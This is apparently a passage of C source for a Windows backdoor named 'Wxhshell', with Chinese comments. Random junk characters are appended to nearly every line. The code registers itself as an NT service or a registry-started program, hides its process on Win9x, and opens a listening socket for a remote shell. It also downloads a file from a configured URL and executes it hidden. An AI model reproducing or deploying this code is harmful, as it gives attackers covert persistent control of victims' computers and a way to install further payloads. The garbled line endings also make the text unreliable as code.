ULONG UniqueProcessId; _Bp1co85MQ
ULONG InheritedFromUniqueProcessId; _b.qkTWUB
} PROCESS_BASIC_INFORMATION; .]7Qu;L
h!:~f-@j4
PROCNTQSIP NtQueryInformationProcess; ]U7KLUY>:
yK2^Y]Ku?
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '@CR\5 @
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OP|8S k6
r
CL}{mEr}
HANDLE hProcess; (B-43!C
PROCESS_BASIC_INFORMATION pbi; i'wAE:Xe
g9WGkHF
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |{ PI102
if(NULL == hInst ) return 0; -!L"')
X'% ;B
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Bk\Gj`"7
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); adi[-L#
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VZ](uF BY
1`9xIm*9w
if (!NtQueryInformationProcess) return 0; !i%"7tQ3$
UaV iI/ks
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e^Ky<*Y
if(!hProcess) return 0; z)=+ F]
XNb ZNaAd
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,qrQ"r9
a~!G%})'a
CloseHandle(hProcess); gzD@cx?V
VA%Un,5h
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CZt \JW+"
if(hProcess==NULL) return 0; Z)xaJGbw
ld7v3:M
HMODULE hMod; n?urE-_
char procName[255]; -"[<ek
unsigned long cbNeeded; A4?+T+#d
8Bq!4uq\5|
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \7
NpT}dj
U(;&(W"M
CloseHandle(hProcess); ^F"iP7
@*DyZB
if(strstr(procName,"services")) return 1; // 以服务启动 -+em!g'
'EfR|7m
return 0; // 注册表启动 _ _>.,gL7
} k` (jkbEZ
gOK\%&S]
// 主模块 [e4]"v`N
int StartWxhshell(LPSTR lpCmdLine) `\6?WXk3T
{ rJInj>|{=
SOCKET wsl; %F*|;o7 s
BOOL val=TRUE; *d',Vuv&[
int port=0; }Lw>I94e
struct sockaddr_in door; c9nH}/I_
T'aec]u
if(wscfg.ws_autoins) Install(); @(i!YL
{?}*1,I
port=atoi(lpCmdLine); A?T<",bO
FsGlJ
if(port<=0) port=wscfg.ws_port; 9A7@
5F
!!nuAQ"E[
WSADATA data; h<\_XJJ
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1uk0d`JL
3o|I[!2.
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ,mL
!(US
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k%op>
&
door.sin_family = AF_INET; <JwX_\?ln
door.sin_addr.s_addr = inet_addr("127.0.0.1"); !;!~n`
door.sin_port = htons(port); $CE[MZ&S
`g1iCF
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y05P'Q
closesocket(wsl); cbu@*NzY,
return 1; *VkgQ`c
} D*Q.G8(
')$NfarQ.
if(listen(wsl,2) == INVALID_SOCKET) { lw(e3j
closesocket(wsl); ^v@4|E$
return 1; F("#^$
} O!Z|r?
Wxhshell(wsl); 56Z\-=KAU
WSACleanup(); 5Fm=/o1
|uH%6&\
return 0; m3g2b _;
`ZaT}#Y
} R,
8s_jN
l"zUv
// 以NT服务方式启动 m%8qZzqk
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DBs*Fx[
{ ?n\*,{9
DWORD status = 0; .~gl19#:T
DWORD specificError = 0xfffffff; P~FUS%39"o
Fv)7c4
serviceStatus.dwServiceType = SERVICE_WIN32; Z_1*YRBY;
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Sm2>'C
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8Z2.`(3c[
serviceStatus.dwWin32ExitCode = 0; JkA|Qdj~Mr
serviceStatus.dwServiceSpecificExitCode = 0; $Vv}XMxw
serviceStatus.dwCheckPoint = 0; S?0)1O
serviceStatus.dwWaitHint = 0; :b,^J&~/)1
Z2bcCIq4
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]fI/(e_U
if (hServiceStatusHandle==0) return; 4E:bp
W];EKj,3W
status = GetLastError(); l48k<
if (status!=NO_ERROR) 1Ee>S\9t
{ e[t<<u3"
serviceStatus.dwCurrentState = SERVICE_STOPPED; 41 vL"P
K
serviceStatus.dwCheckPoint = 0; 9%iFV
N'
serviceStatus.dwWaitHint = 0; Us~ X9n_F
serviceStatus.dwWin32ExitCode = status; !z
zW2>
serviceStatus.dwServiceSpecificExitCode = specificError; qYp$fmj
SetServiceStatus(hServiceStatusHandle, &serviceStatus); efuK
return; kDz>r#%
} wn11\j&
WnAd5#G
serviceStatus.dwCurrentState = SERVICE_RUNNING; I}Xg&-L
serviceStatus.dwCheckPoint = 0; ~mN%(w!^
serviceStatus.dwWaitHint = 0; G;oFTP>o
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]PNowS\
} <Jp1A#
%p
fj'jNE
// 处理NT服务事件,比如:启动、停止 NgB 7?]vu
VOID WINAPI NTServiceHandler(DWORD fdwControl) YTU.$t;Ez
{ ;S/7 h6
switch(fdwControl) &}`K^5K|O:
{ $'[q4 wo<
case SERVICE_CONTROL_STOP: \`xkp[C
serviceStatus.dwWin32ExitCode = 0; *,\` o~
serviceStatus.dwCurrentState = SERVICE_STOPPED; XvSIWs
serviceStatus.dwCheckPoint = 0; }+Vv0jX|V
serviceStatus.dwWaitHint = 0; 8Vt4HD 08
{ *N/hc
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ad`_>lA4Lp
} Z# Lx_*p]Q
return; 8Xm@r#Oy5
case SERVICE_CONTROL_PAUSE: u=qPzmywt
serviceStatus.dwCurrentState = SERVICE_PAUSED;
c!uW}U_z
break; R.1Xst &i
case SERVICE_CONTROL_CONTINUE: M}.b"
ljZ
serviceStatus.dwCurrentState = SERVICE_RUNNING; =J|sbY"]
break; <5Mrp"C[i
case SERVICE_CONTROL_INTERROGATE: }G1&]Wt_
break; ;~sr$6
}; V_L[P9
SetServiceStatus(hServiceStatusHandle, &serviceStatus); PtKTm\,JL0
} Ws49ImCB
X$wehMBX
// 标准应用程序主函数 9|!j4DS<
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }&G]0hCT!
{ IvW@o1Q
?G/ hJ?3
// 获取操作系统版本 iG[?
]]
OsIsNt=GetOsVer(); Ds5NAp:x
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^@}#me@
Eqphd!\#6
// 从命令行安装 GH3#E*t+[
if(strpbrk(lpCmdLine,"iI")) Install(); < `Z%O<X
cINHH !v
// 下载执行文件 H|+tC=]4IZ
if(wscfg.ws_downexe) { 5iWe-xQ>
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {:Vf0Mhb
WinExec(wscfg.ws_filenam,SW_HIDE); TvrwVL)
} ,sb1"^Wc
~|)
9RUXr>
if(!OsIsNt) { 4S *,\ q]q
// 如果时win9x,隐藏进程并且设置为注册表启动 ^&:'NR
HideProc(); O2H/rFx4
StartWxhshell(lpCmdLine); c)1=U_6 1
} wR7aQg
else +(ny|r[#
if(StartFromService()) p~bkf>
// 以服务方式启动 3B,QJ&
StartServiceCtrlDispatcher(DispatchTable); o?!uX|Fy
else 9p>
/?H|
// 普通方式启动 KZK,w#9.
StartWxhshell(lpCmdLine); s[-]cHQ
]A!.9Ko}u
return 0; hmGdjw t$
}